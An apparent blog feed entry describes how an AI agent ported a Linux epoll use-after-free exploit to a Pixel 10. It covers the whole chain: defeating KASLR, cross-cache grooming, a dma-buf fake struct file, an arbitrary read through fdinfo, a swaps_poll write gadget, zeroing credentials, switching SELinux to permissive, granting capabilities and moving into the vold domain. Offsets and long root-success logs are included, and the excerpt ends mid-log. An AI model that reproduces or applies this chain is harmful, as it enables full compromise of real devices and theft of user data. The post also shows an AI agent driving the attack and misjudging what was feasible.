<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://guysrd.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://guysrd.github.io/" rel="alternate" type="text/html" /><updated>2026-07-13T15:47:33+00:00</updated><id>https://guysrd.github.io/feed.xml</id><subtitle></subtitle><entry><title type="html">I handed the epoll UAF to an agent</title><link href="https://guysrd.github.io/epoll-uaf-agent" rel="alternate" type="text/html" title="I handed the epoll UAF to an agent" /><published>2026-07-13T00:00:00+00:00</published><updated>2026-07-13T00:00:00+00:00</updated><id>https://guysrd.github.io/epoll-uaf-agent</id><content type="html" xml:base="https://guysrd.github.io/epoll-uaf-agent"><![CDATA[<p>In <a href="/epoll-uaf">the last post</a> I burned a few weeks on Nicholas’s epoll graph-walker
UAF, got a constrained write but I never turned it into anything. That
bug was a <em>blind</em> write into a freed <code class="language-plaintext highlighter-rouge">eventpoll</code> and I did not try to turn it into an infoleak, so the only
strategy I had was PTE corruption and the timing never lined up.</p>

<p>So I did something a little different. I took a <em>sibling</em> bug in the same file, pointed
Claude at my Pixel 10 over adb, and let it drive.
<strong>Everything below the entire port to Frankel, every offset, the whole exploit chain up to a
root shell in the <code class="language-plaintext highlighter-rouge">vold</code> SELinux domain was done by the agent, not by me.</strong> I set the goal,
kept it honest, and steered twice. This post is what it did, where it went differently than I
did, and the parts where I had to yank the leash.
I gave Claude the bad epoll x86 repo and let it steer away, there was no Android implementation because
the methods, objects, leaks and statistics were not targeted to a hardened environment like Android, so 
several modifications had to be done in order to make it work.
I also think it is still possible to exploit this bug leaklessly and thus gain better statistics, but I leave this stage
to the user to implement.</p>

<p>The agent’s job was the <em>port</em>. Take a working exploit for one
kernel and make it fire on a very different, very hardened one. That’s less glamorous than
finding the bug and much harder than it sounds, which is most of the story.</p>

<details style="font-size: 0.75rem; color: #888; margin-top: 0.5rem;">
<summary>LLM Technical summary</summary>

Port of Bad Epoll (CVE-2026-46242, the `__ep_remove` variant. `epi-&gt;ffd.file` used without an
`epi_fget()` pin, distinct from the graph-walker `kfree(ep)` bug) from an existing x86/arm64 PoC
to a Pixel 10 "frankel" (6.6.102-android15, kCFI enforcing, `CONFIG_BUG_ON_DATA_CORRUPTION=y`,
`init_on_free=1`, SELinux Enforcing, no `perf_event_open`, no `add_key`). Chain: linear-map KASLR
defeat → `filp` cross-cache to buddy (mass-free, `RLIMIT_NOFILE=32768` beaten by fork-holding
~900k struct files, signal = `/sys/kernel/slab/filp/slabs` because the `discard_slab` kprobe
undercounts) → reclaim the freed `struct file` with a user-mmap'd dma-buf page (live-editable
fake file) → `ep_show_fdinfo` arbitrary read via fake `f_inode` → fake `f_op-&gt;poll = swaps_poll`
arbitrary write, fired by polling the survivor epoll (dangling epitem forced onto `rdllist` via a
pre-armed eventfd), gated behind a confirmed read so a reclaim miss retries instead of panicking
→ zero `cred` → increment `proc_poll_event` to vold's SID (755) → write it into
`task_security_struct.sid` → `u:r:vold:s0`. Flaky (~30%, reboot-prone) on purpose. Done by an
autonomous agent under human supervision.

</details>

<h2 id="same-corner-different-door">Same corner, different door</h2>

<p>The graph walker bug and this one lived in the same pattern.
The symptom is the same, but this bug provides a stronger primitive.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>   the graph-walker bug (last post)            bad epoll
   --------------------------------            ---------------------------------------
   ep_get_upwards_depth_proc() walks a         __ep_remove() reads epi-&gt;ffd.file WITHOUT
   freed eventpoll and WRITES loop_check_gen     pinning it (no epi_fget); a racing close
   into it                                       frees that struct file underneath it
     -&gt; blind write, nothing reads back           -&gt; a dangling struct file *
     -&gt; only one-shot is PTE corruption         ep_show_fdinfo() READS epi-&gt;ffd.file back
     -&gt; timing never lined up (my post)            -&gt; a genuine infoleak / arbitrary read
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">__ep_remove</code> uses the watched file pointer bare (<code class="language-plaintext highlighter-rouge">fs/eventpoll.c:724</code>, <code class="language-plaintext highlighter-rouge">file = epi-&gt;ffd.file;</code>
with no <code class="language-plaintext highlighter-rouge">atomic_long_inc_not_zero</code> on <code class="language-plaintext highlighter-rouge">f_count</code>). The complete fix pins it. <code class="language-plaintext highlighter-rouge">epi_fget()</code> at
<code class="language-plaintext highlighter-rouge">:899</code> exists in the tree, but it’s only called from <code class="language-plaintext highlighter-rouge">ep_item_poll</code> at <code class="language-plaintext highlighter-rouge">:914</code>, <em>not</em> from
<code class="language-plaintext highlighter-rouge">__ep_remove</code>. Frankel has the earlier, incomplete fix and not this one. The agent verified that
by disassembling the device’s own <code class="language-plaintext highlighter-rouge">__ep_remove</code> before it trusted a single line of source.</p>

<p>The consequence is everything. My bug could only <em>write</em>. This one hands you a <strong>read</strong> through a
completely legitimate path, <code class="language-plaintext highlighter-rouge">/proc/self/fdinfo/&lt;epfd&gt;</code>. Once you can read kernel memory, KASLR is
a formality and the rest is plumbing. So the agent’s path and mine diverge at the very first
step. It never needed the PTE gamble I lost on, because it got to read first.</p>

<h2 id="what-porting-actually-meant">What “porting” actually meant</h2>

<p>The x86 PoC assumes a friendly world. Frankel is a hardened environment. Before any of the old code could run
the agent had to re-derive the exploit against this device’s mitigations. It pulled every
constant from the device’s own BTF (<code class="language-plaintext highlighter-rouge">/sys/kernel/btf/vmlinux</code>):</p>

<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">CONFIG_BUG_ON_DATA_CORRUPTION=y</code></strong>. A corrupt <code class="language-plaintext highlighter-rouge">list_del</code> is a hard <code class="language-plaintext highlighter-rouge">BUG()</code>, not a warning.
This killed the “obvious” eventpoll write path outright (more below).</li>
  <li><strong><code class="language-plaintext highlighter-rouge">init_on_free=1</code></strong>. Freed memory is zeroed, so no stale-pointer infoleaks fall out of a UAF.</li>
  <li><strong>kCFI enforcing</strong>. You cannot call an arbitrary address through a function pointer. The callee
needs a matching type hash. That constrains the write gadget hard.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">SLAB_FREELIST_RANDOM</code> + <code class="language-plaintext highlighter-rouge">SHUFFLE_PAGE_ALLOCATOR</code></strong>. Heap and page grooming are probabilistic.</li>
  <li><strong>No <code class="language-plaintext highlighter-rouge">perf_event_open</code>, no <code class="language-plaintext highlighter-rouge">add_key</code></strong>. The two KASLR/leak primitives every public writeup
reaches for are denied to our domain by policy.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">RLIMIT_NOFILE = 32768</code></strong>. A hard cap on how much of the <code class="language-plaintext highlighter-rouge">filp</code> cache one process can hold.</li>
</ul>

<p>None of that is in the original exploit. All of it had to be measured and worked around.</p>

<h2 id="kaslr-with-nothing">KASLR with nothing</h2>

<p>As I was targeting the Frankel device, KASLR base was not randomized there.
We remember this from <a href="https://projectzero.google/2025/11/defeating-kaslr-by-doing-nothing-at-all.html">P0’s post</a>.</p>

<p>The agent used the ARM64 linear map. <code class="language-plaintext highlighter-rouge">_text</code> loads at physical
<code class="language-plaintext highlighter-rouge">memstart_addr == 0x80000000</code>, so <em>every</em> kernel symbol is also readable at a <strong>fixed</strong> alias
<code class="language-plaintext highlighter-rouge">0xffffff8000000000 + (sym - _text)</code>, regardless of the KASLR slide. It confirmed this with a
kprobe. <code class="language-plaintext highlighter-rouge">init_task.comm</code> reads <code class="language-plaintext highlighter-rouge">"swapper/0"</code> byte-for-byte at the linear alias and at the
randomized kimage address. Then it recovers the runtime text base for gadgets with a single read of
<code class="language-plaintext highlighter-rouge">kimage_vaddr</code>. This part it got right on the first try and never revisited.</p>

<h2 id="cross-caching-the-filp-object-to-a-general-cache">Cross caching the filp object to a general cache</h2>

<p>To use <code class="language-plaintext highlighter-rouge">ep_show_fdinfo</code> as an arbitrary read you need to reclaim the freed <code class="language-plaintext highlighter-rouge">struct file</code> with a
<em>fake</em> one you control. That means getting the victim’s <code class="language-plaintext highlighter-rouge">filp</code> slab page all the way back to the
buddy allocator, then catching the page. This is the step that ate the most time, and it’s the
most honest part of the story, so here’s how it actually went.</p>

<p><strong>The agent decided twice that filp cross-cache was impossible on this device.</strong>
Both times it was measuring wrong.</p>

<ul>
  <li>First it set a <code class="language-plaintext highlighter-rouge">discard_slab</code> kprobe that read <code class="language-plaintext highlighter-rouge">s-&gt;name</code> as a direct string instead of
dereferencing the <code class="language-plaintext highlighter-rouge">char *</code>. Every cache name came back as garbage. <code class="language-plaintext highlighter-rouge">grep filp</code> matched nothing.
The verdict was “0 discards, blocked.”</li>
  <li>Then it re-measured, saw ~11 filp discards, declared cross-cache <em>viable</em>. Then a sub-agent’s
own <strong>negative control</strong> (a run that frees nothing) showed those 11 were ambient RCU-thread
noise, not its doing. The verdict flipped back to “blocked.”</li>
</ul>

<p>I had to fight Claude many times to push them hard that it is possible. Most of the time it failed
and hallucinated, and said it is impossible to cross cache on the Frankel device. I kept steering it
toward dma-buf and cross-caching, and would not let it give up, until it worked.</p>

<p>The thing that finally broke it open was disassembling the kernel. There is exactly <strong>one</strong>
<code class="language-plaintext highlighter-rouge">bl discard_slab</code> in the whole image. <code class="language-plaintext highlighter-rouge">__unfreeze_partials</code> and <code class="language-plaintext highlighter-rouge">deactivate_slab</code> <em>inline</em> the
discard, so a kprobe on <code class="language-plaintext highlighter-rouge">discard_slab</code> is structurally blind to precisely the paths a mass-free
flows through. The real signal was sitting in plain sight the whole time.
<code class="language-plaintext highlighter-rouge">/sys/kernel/slab/filp/slabs</code> (== slabinfo <code class="language-plaintext highlighter-rouge">num_slabs</code>) only ever moves via <code class="language-plaintext highlighter-rouge">dec_slabs_node</code>
inside <code class="language-plaintext highlighter-rouge">discard_slab</code>.</p>

<p>With the right signal, the second problem surfaced. <code class="language-plaintext highlighter-rouge">RLIMIT_NOFILE = 32768</code>. One process can’t
hold enough of the cache to dominate it. The agent beat that by <strong>fork-holding</strong>. Fork N children,
each opening ~32k files in its own fd table, until it held <strong>~900,000</strong> struct files at once
(<code class="language-plaintext highlighter-rouge">/proc/sys/fs/file-nr</code> = 936,160). Then it mass-freed ~28,500 pure-attacker files in one shot:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    filp cache (order-1, 25 objs/slab)              buddy               dma-buf spray
    +----+----+--------+----+- - -+----+
    | f0 | f1 | VICTIM | f3 | ... | f24|  --.  close all 25
    +----+----+--------+----+- - -+----+    |  (+ 28,500 more, fork-held)
                                            '------------------------&gt;  page --DMA_HEAP_ALLOC--&gt;
                                               num_slabs 2389 -&gt; 1029      [ fake struct file ]
</code></pre></div></div>

<p>From an actual run:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[aar] cc=1 CROSS-CACHE num_slabs: start=2389 min=1029 now=1133 (min-delta -1360;
      large negative =&gt; victim region -&gt; buddy) filp_free 7306-&gt;0
</code></pre></div></div>

<p>~1,360 slabs (≈2,700 pages) hit the buddy allocator on that free. The prior “blocked” verdicts
weren’t the kernel being clever. They were the agent measuring with a broken ruler. It got there,
but I want it on the record that it was wrong, out loud, before it was right.</p>

<h2 id="dma-buf-and-the-one-steer-that-mattered">dma-buf, and the one steer that mattered</h2>

<p>This is where I stepped in. The old exploit reclaims the freed page with <strong>pipe pages</strong>. You write
your fake file once and you’re stuck with it. I told the agent to try dma-buf instead.
<code class="language-plaintext highlighter-rouge">/dev/dma_heap/system</code> is openable from <code class="language-plaintext highlighter-rouge">shell</code> and allocations come straight from buddy. This heap
has no page pool on Frankel. It calls <code class="language-plaintext highlighter-rouge">alloc_pages</code>/<code class="language-plaintext highlighter-rouge">__free_pages</code> directly (see <code class="language-plaintext highlighter-rouge">system_heap.c</code>).
The point is you <code class="language-plaintext highlighter-rouge">mmap</code> it, so the fake <code class="language-plaintext highlighter-rouge">struct file</code> stays <strong>live-editable from userspace after it
lands.</strong> You can re-aim its <code class="language-plaintext highlighter-rouge">f_inode</code> between reads, or flip it from a read payload to a write
payload, without re-racing. That single change is what made both primitives practical on the same
landed page.</p>

<h2 id="the-read">The read</h2>

<p><code class="language-plaintext highlighter-rouge">ep_show_fdinfo</code> (<code class="language-plaintext highlighter-rouge">fs/eventpoll.c:942</code>) prints, per watched item,
<code class="language-plaintext highlighter-rouge">file_inode(epi-&gt;ffd.file)-&gt;i_ino</code>. Our <code class="language-plaintext highlighter-rouge">epi-&gt;ffd.file</code> is now a fake file whose <code class="language-plaintext highlighter-rouge">f_inode</code> we
choose. Point it at <code class="language-plaintext highlighter-rouge">X - 0x40</code> (that’s <code class="language-plaintext highlighter-rouge">i_ino</code>’s offset, <code class="language-plaintext highlighter-rouge">INODE_I_INO</code>), read the fdinfo, and the
printed <code class="language-plaintext highlighter-rouge">ino</code> <em>is</em> <code class="language-plaintext highlighter-rouge">*(X)</code>. Arbitrary read, through a <code class="language-plaintext highlighter-rouge">/proc</code> file, no exploit-looking syscalls at
all.</p>

<p>The agent proved it against a known value, <code class="language-plaintext highlighter-rouge">init_task.comm</code>, which must read <code class="language-plaintext highlighter-rouge">"swapper/0"</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[aar] cc=1 reading /proc/self/fdinfo/24010 (ep_show_fdinfo -&gt; file_inode(epi-&gt;ffd.file)-&gt;i_ino)
[aar]   fdinfo: ... ino:2f72657070617773 sdev:0
[aar] cc=1 fdinfo i_ino = 0x2f72657070617773  bytes='swapper/'  (expected 'swapper/')
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">0x2f72657070617773</code> little-endian is <code class="language-plaintext highlighter-rouge">"swapper/"</code>. That is <code class="language-plaintext highlighter-rouge">init_task.comm[0..7]</code> byte for byte. It
then re-aimed the <em>same</em> dma-buf page to <code class="language-plaintext highlighter-rouge">comm+8</code> and read <code class="language-plaintext highlighter-rouge">"0"</code>, reconstructing the full
<code class="language-plaintext highlighter-rouge">"swapper/0"</code>.</p>

<h2 id="the-write">The write</h2>

<p>The read was good, but I still needed a write, and kCFI makes that awkward. You can’t just
point a function pointer anywhere u want.
The gadget the exploit uses is <strong><code class="language-plaintext highlighter-rouge">swaps_poll</code></strong>, the <code class="language-plaintext highlighter-rouge">-&gt;poll</code> handler for <code class="language-plaintext highlighter-rouge">/proc/swaps</code>. It does, in essence:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    *(u32 *)(seq_file-&gt;private_data + 0x70) = proc_poll_event;
</code></pre></div></div>

<p>Because it <em>is</em> a real <code class="language-plaintext highlighter-rouge">-&gt;poll</code>, calling it through a fake <code class="language-plaintext highlighter-rouge">f_op-&gt;poll</code> satisfies kCFI. Set the
fake file’s <code class="language-plaintext highlighter-rouge">f_op</code> to a table we control (in the same dma-buf page), point <code class="language-plaintext highlighter-rouge">-&gt;poll</code> at
<code class="language-plaintext highlighter-rouge">swaps_poll</code>, set <code class="language-plaintext highlighter-rouge">private_data = target - 0x70</code>, and one poll writes the global <code class="language-plaintext highlighter-rouge">proc_poll_event</code>
to <code class="language-plaintext highlighter-rouge">*(target)</code>. Zero <code class="language-plaintext highlighter-rouge">proc_poll_event</code> first (via the same gadget, unaligned) and you get a
write-0-anywhere primitive.</p>

<p>Two things had to be solved to actually fire it, and this is where the agent’s first <code class="language-plaintext highlighter-rouge">--root</code>
attempts just <em>panicked the device</em> while the read-only self-test ran flawlessly. That asymmetry
is the whole trick, and it took me watching it crash-loop to see it.</p>

<p><strong>1. The trigger.</strong> <code class="language-plaintext highlighter-rouge">swaps_poll</code> only runs if <code class="language-plaintext highlighter-rouge">epoll_wait(epA)</code> reaches
<code class="language-plaintext highlighter-rouge">ep_item_poll(epiA) → vfs_poll(fake file)</code>, and that only happens if the dangling epitem is on
<code class="language-plaintext highlighter-rouge">epA</code>’s ready list. The agent’s fix was to add, before freezing, <code class="language-plaintext highlighter-rouge">epoll_ctl(ADD)</code> on a <strong>pre-armed,
readable eventfd</strong> so <code class="language-plaintext highlighter-rouge">ep_poll_callback</code> links <code class="language-plaintext highlighter-rouge">epiA</code> onto <code class="language-plaintext highlighter-rouge">rdllist</code>. Verified live:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[root] rdllist.next=ffffff88a8607c18 &amp;epiA.rdllink=ffffff88a8607c18 =&gt; epiA IS ON epA-&gt;rdllist
</code></pre></div></div>

<p><strong>2. Gate the write on a read.</strong> The read sink (<code class="language-plaintext highlighter-rouge">ep_show_fdinfo</code>) is pure loads. On a reclaim
miss it reads a real file’s inode, prints garbage, no crash. The write sink is an <strong>indirect call</strong>
through <code class="language-plaintext highlighter-rouge">f_op-&gt;poll</code>. On a miss it jumps through a wrong pointer and the kernel panics. The reclaim
is probabilistic (due to CONFIG_SHUFFLE_PAGE_ALLOCATOR), so misses are the <em>common</em> case. <code class="language-plaintext highlighter-rouge">--root</code> was firing the
poll without checking. My note to it was one line. <em>Never poll on a miss.</em> It added <code class="language-plaintext highlighter-rouge">confirm_and_poll</code>,
which does the fdinfo read first and only fires <code class="language-plaintext highlighter-rouge">swaps_poll</code> if the read still returns <code class="language-plaintext highlighter-rouge">"swapper/"</code> (proof the
fake file is in place), otherwise it retries the cross-cache. That converted a crash-loop into a
converging loop:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>   epoll_wait(epA)                         still uid=2000 here
     ep_item_poll(epiA)                    reached only via rdllist (the eventfd)
       vfs_poll(epiA-&gt;ffd.file)            our fake file, on the dma-buf page
         f_op-&gt;poll(file)  == swaps_poll   a real -&gt;poll, so kCFI is satisfied
           *(cred.uid - 0x70 + 0x70) = proc_poll_event(=0)
                                           =&gt; cred.uid = 0
</code></pre></div></div>

<p>Walking the cred fields one poll at a time, live:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[root] GATE proc_poll_event(benign global) 1 -&gt; 0 (want 0) poll_fired=1
[root] *** WRITE PRIMITIVE CONFIRMED on device (benign target changed) ***
[frk] epoll_wait uid   ... uid=0 euid=2000 ...
[frk] epoll_wait euid  ... uid=0 euid=0 gid=0 egid=0
   ... suid/sgid/fsuid/fsgid + all five capability sets -&gt; 0 ...
[frk]   Uid:  0  0  0  0
[frk]   CapEff: 0000000000000000
[frk] child pid=4258 setresuid(0,0,0)=0 -&gt; uid=0 euid=0 gid=0 egid=0
uid=0(root) gid=0(root) groups=0(root),... context=u:r:shell:s0
</code></pre></div></div>
<h2 id="post-exploitation">Post-exploitation</h2>

<p>However, root is pointless on Android. 
SELinux and DAC prevent u from doing anything, u need a very strong SELinux context and a strong capability to 
read sensitive data.</p>

<p>Under SELinux the check is on your <strong>domain</strong>, not your
uid. I picked vold as a target SELinux context just because it seemed strong.
This means writing vold’s SID into our <code class="language-plaintext highlighter-rouge">task_security_struct.sid</code> (<code class="language-plaintext highlighter-rouge">cred-&gt;security</code>, <code class="language-plaintext highlighter-rouge">+0x80</code>; <code class="language-plaintext highlighter-rouge">sid</code> at <code class="language-plaintext highlighter-rouge">+0x4</code>).</p>

<p><code class="language-plaintext highlighter-rouge">swaps_poll</code> only writes whatever <code class="language-plaintext highlighter-rouge">proc_poll_event</code> happens to hold, and the only value we can make
it hold deterministically is 0. A SID is a specific small integer, vold’s is <strong>755</strong>. So the agent
built an <strong>increment gadget</strong>. Bump <code class="language-plaintext highlighter-rouge">proc_poll_event</code> up to 755 with repeated fires, then use the
4-byte <code class="language-plaintext highlighter-rouge">swaps_poll</code> write to plant it in <code class="language-plaintext highlighter-rouge">sid</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[vold] incr(ppe-&gt;vold_sid): target=ffffff800233e280 start=0 want=755
[vold] incr: round 0 fired 128, target 0 -&gt; 128 (want 755)
</code></pre></div></div>

<p>Land 755 in <code class="language-plaintext highlighter-rouge">task_security_struct.sid</code> and the same process is now <code class="language-plaintext highlighter-rouge">u:r:vold:s0</code>, and the <code class="language-plaintext highlighter-rouge">open()</code> that
failed above succeeds. That’s the finish line. Not <code class="language-plaintext highlighter-rouge">uid=0</code>, but a shell in a domain that means
something.</p>

<p>Here’s the full log of the chain:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[frk] uid=2000 pid=9783 linear_base=ffffff8000000000
[aar] selftest: pressure=24000 cc_iters=5 dmabuf=64/round x60KB rounds=100 round_us=2000 use_pipes=0 no_read=0
[aar] NOFILE cur=32768 max=32768
[aar] dma_heap/system fd=8
[root] readiness eventfd=9 armed (count=1)
[aar] cc=1 pressure_open=24000 filp_free=0 num_slabs=2428
[aar] cc=1 WON after 84 retries. epA=24010. dangling-epitem oracle:
  pos:  0
flags:  02
mnt_id: 12
ino:    43
tfd:    24011 events:       19 data:                0  pos:0 ino:2b sdev:d

[aar] cc=1 WON-&gt;crosscache: freed enclosing+pressure; AAR target init_task.comm @0xffffff800210eab0 (fake f_inode=0xffffff800210ea70)
[aar] cc=1 round 0/100: filp num_slabs=2050 (min 2050, start 2751, delta -701) dmabuf_pages~=960
[aar] cc=1 round 50/100: filp num_slabs=1601 (min 1601, start 2751, delta -1150) dmabuf_pages~=48960
[aar] cc=1 round 99/100: filp num_slabs=1720 (min 1601, start 2751, delta -1150) dmabuf_pages~=96000
[aar] cc=1 CROSS-CACHE num_slabs: start=2751 min=1601 now=1720 (min-delta -1150; large negative =&gt; victim region -&gt; buddy) filp_free 0-&gt;0
[aar] cc=1 POLL-PROBE epoll_wait rc=1 =&gt; f_count present (reclaim landed) — safe to read
[aar] cc=1 reading /proc/self/fdinfo/24010 (ep_show_fdinfo -&gt; file_inode(epi-&gt;ffd.file)-&gt;i_ino) ...
[aar]   fdinfo: pos:    0
flags:  02
mnt_id: 12
ino:    43
tfd:    24011 events:       19 data:                0  pos:0 ino:2f72657070617773 sdev:0

[aar] cc=1 fdinfo i_ino = 0x2f72657070617773  bytes='swapper/'  (expected init_task.comm[0..7] = 0x2f72657070617773 'swapper/')

[aar] ================= SELFTEST RESULT (cc=1) =================
[aar]  AAR via /proc/self/fdinfo/24010 on survivor epoll epA (dangling epitem)
[aar]  read #1  fake f_inode=&amp;init_task.comm-64  -&gt; i_ino=0x2f72657070617773 bytes='swapper/' (init_task.comm[0..7])
[aar]  read #2  fake f_inode=&amp;init_task.comm+8-64-&gt; i_ino=0x0000000000000030 bytes='0' (init_task.comm[8..15])
[aar]  reconstructed init_task.comm = "swapper/0"
[aar]  KNOWN kernel value init_task.comm = "swapper/0" (bytes 73 77 61 70 70 65 72 2f 30)
[aar]  *** SUCCESS: fdinfo arbitrary-read leaked init_task.comm; i_ino == "swapper/" (byte-identical to comm[0..7]) ***
[aar] ===========================================================

[vold] =============== SELinux DOMAIN TRANSITION -&gt; u:r:vold:s0 ===============
[root] locate: victim confirmed dma-buf-backed; binary-searching 6400 bufs...
[root] pinned victim dma-buf idx=87/6400 (confirm i_ino=0x2f72657070617773 OK)
[vold] locating my task (comm=frk_voldpwn)...
[vold] my task=ffffff88cd8a3840 comm='frk_voldpwn'
[frk] kimage_vaddr=ffffffed60000000 sys_call_table[0]=ffffffed60437b9c
[frk] text base VERIFIED (sys_call_table[0] == _text+0x437b9c)
[frk] runtime _text=ffffffed60000000 swaps_poll=ffffffed6037663c
[vold] cred=ffffff899d52d3c0 real_cred=ffffff899d52d3c0 selinux_blob_sizes.lbs_cred=0 (selinux_cred=cred-&gt;security+0)
[vold] MY(cred)      tsec@ffffff80026e1a80 osid=2148 sid=2148 exec_sid=0 create_sid=0 keycreate_sid=0 sockcreate_sid=0
[vold] MY(real_cred) tsec@ffffff80026e1a80 osid=2148 sid=2148 exec_sid=0 create_sid=0 keycreate_sid=0 sockcreate_sid=0
[vold] locating vold task by pid=455 (flat init_task.tasks walk)...
[vold] flat walk: pid=455 found at ffffff80049512c0 comm='binder:4' (visited 242)
[vold] vold task=ffffff80049512c0 comm='binder:455_2'
[vold] VOLD          tsec@ffffff802c005bc0 osid=95 sid=756 exec_sid=0 create_sid=0 keycreate_sid=0 sockcreate_sid=0
[vold] dangling_file=ffffff8942281180 (page-off 180) epiA IS ON epA-&gt;rdllist =&gt; swaps-write IS reachable
[vold] BEFORE: /proc/self/attr/current = 'u:r:shell:s0'

[vold] ===== T1: dma_buf_poll increment scratch proof (proc_poll_event) =====
[root] confirm_and_poll(zero_ppe): read-confirmed (swapper/); firing swaps_poll...
[frk] epoll_wait zero_ppe rc=1 errno=0 uid=2000 euid=2000 gid=2000 egid=2000
[vold] proc_poll_event=0
[vold] incr(scratch_ppe): target=ffffff800233e280 start=0 want=256 (need +256 fires)
[vold] incr(scratch_ppe): round 0 fired 128, target 0 -&gt; 128 (want 256)
[vold] incr(scratch_ppe): round 1 fired 128, target 128 -&gt; 256 (want 256)
[vold] T1 scratch: proc_poll_event -&gt; 256 (want 256) =&gt; *** VALUE-WRITE PRIMITIVE PROVEN ***

[vold] ===== T1.5: selinux_state.enforcing = 0 (global permissive) =====
[vold] enforcing dword before=01010101 (enforcing byte=1)
[root] confirm_and_poll(zero_ppe): read-confirmed (swapper/); firing swaps_poll...
[frk] epoll_wait zero_ppe rc=1 errno=0 uid=2000 euid=2000 gid=2000 egid=2000
[root] confirm_and_poll(zero_ppe): read-confirmed (swapper/); firing swaps_poll...
[frk] epoll_wait zero_ppe rc=1 errno=0 uid=2000 euid=2000 gid=2000 egid=2000
[vold] proc_poll_event=0
[vold] incr(ppe-&gt;1(enforcing)): target=ffffff800233e280 start=0 want=1 (need +1 fires)
[vold] incr(ppe-&gt;1(enforcing)): round 0 fired 1, target 0 -&gt; 1 (want 1)
[root] confirm_and_poll(zero_enforcing): read-confirmed (swapper/); firing swaps_poll...
[frk] epoll_wait zero_enforcing rc=1 errno=0 uid=2000 euid=2000 gid=2000 egid=2000
[vold] T1.5 enforcing dword after=01010100 (enforcing byte=0) write=fired =&gt; *** PERMISSIVE (getenforce=Permissive) ***
[root] confirm_and_poll(zero_ppe): read-confirmed (swapper/); firing swaps_poll...
[frk] epoll_wait zero_ppe rc=1 errno=0 uid=2000 euid=2000 gid=2000 egid=2000
[vold] proc_poll_event=0
[root] confirm_and_poll(uid): read-confirmed (swapper/); firing swaps_poll...
[frk] epoll_wait uid rc=1 errno=0 uid=0 euid=2000 gid=2000 egid=2000
[root] confirm_and_poll(gid): read-confirmed (swapper/); firing swaps_poll...
[frk] epoll_wait gid rc=1 errno=0 uid=0 euid=2000 gid=0 egid=2000
[root] confirm_and_poll(euid): read-confirmed (swapper/); firing swaps_poll...
[frk] epoll_wait euid rc=1 errno=0 uid=0 euid=0 gid=0 egid=2000
[root] confirm_and_poll(egid): read-confirmed (swapper/); firing swaps_poll...
[frk] epoll_wait egid rc=1 errno=0 uid=0 euid=0 gid=0 egid=0
[root] confirm_and_poll(fsuid): read-confirmed (swapper/); firing swaps_poll...
[frk] epoll_wait fsuid rc=1 errno=0 uid=0 euid=0 gid=0 egid=0
[root] confirm_and_poll(fsgid): read-confirmed (swapper/); firing swaps_poll...
[frk] epoll_wait fsgid rc=1 errno=0 uid=0 euid=0 gid=0 egid=0
[vold] after uid zero: getuid=0 geteuid=0

[caps] ===== grant cap mask 0x7ff into cred=ffffff899d52d3c0 (vold) =====
[caps] cap_bset=8000c0 securebits=0000002f (SECURE_NOROOT=1) -&gt; full-caps-via-securebit NOT viable (bset limited; high cap bits unreachable via +1)
[vold] proc_poll_event=0
[vold] incr(ppe-&gt;capmask): target=ffffff800233e280 start=0 want=2047 (need +2047 fires)
[vold] incr(ppe-&gt;capmask): round 0 fired 128, target 0 -&gt; 128 (want 2047)
[vold] incr(ppe-&gt;capmask): round 1 fired 128, target 128 -&gt; 256 (want 2047)
[vold] incr(ppe-&gt;capmask): round 2 fired 128, target 256 -&gt; 384 (want 2047)
[vold] incr(ppe-&gt;capmask): round 8 fired 128, target 1024 -&gt; 1152 (want 2047)
[vold] incr(ppe-&gt;capmask): round 15 fired 127, target 1920 -&gt; 2047 (want 2047)
[root] confirm_and_poll(cap_permitted): read-confirmed (swapper/); firing swaps_poll...
[frk] epoll_wait cap_permitted rc=1 errno=0 uid=0 euid=0 gid=0 egid=0
[root] confirm_and_poll(cap_inheritable): read-confirmed (swapper/); firing swaps_poll...
[frk] epoll_wait cap_inheritable rc=1 errno=0 uid=0 euid=0 gid=0 egid=0
[root] confirm_and_poll(cap_ambient): read-confirmed (swapper/); firing swaps_poll...
[frk] epoll_wait cap_ambient rc=1 errno=0 uid=0 euid=0 gid=0 egid=0
[root] confirm_and_poll(cap_effective): read-confirmed (swapper/); firing swaps_poll...
[frk] epoll_wait cap_effective rc=1 errno=0 uid=0 euid=0 gid=0 egid=0
[caps] AAR after grant: prm=7ff inh=7ff amb=7ff eff=7ff (want low=0x7ff)
[caps] *** CAP MASK SET in permitted+inheritable+ambient+effective (survives execve via ambient) ***
frk_vold: [vold] DEMO(BEFORE uid0+shell): open(/dev/block/by-name/userdata)=6411 OK  pread=512 errno=0  &lt;-- vold-domain capability

[vold] ===== T4: tsec.sid 2148 -&gt; 756 (vold), via ppe-increment + swaps-copy =====
[root] confirm_and_poll(zero_ppe): read-confirmed (swapper/); firing swaps_poll...
[frk] epoll_wait zero_ppe rc=1 errno=0 uid=0 euid=0 gid=0 egid=0
[root] confirm_and_poll(zero_ppe): read-confirmed (swapper/); firing swaps_poll...
[frk] epoll_wait zero_ppe rc=1 errno=0 uid=0 euid=0 gid=0 egid=0
[vold] proc_poll_event=0
[vold] incr(ppe-&gt;vold_sid): target=ffffff800233e280 start=0 want=756 (need +756 fires)
[vold] incr(ppe-&gt;vold_sid): round 0 fired 128, target 0 -&gt; 128 (want 756)
[vold] incr(ppe-&gt;vold_sid): round 1 fired 128, target 128 -&gt; 256 (want 756)
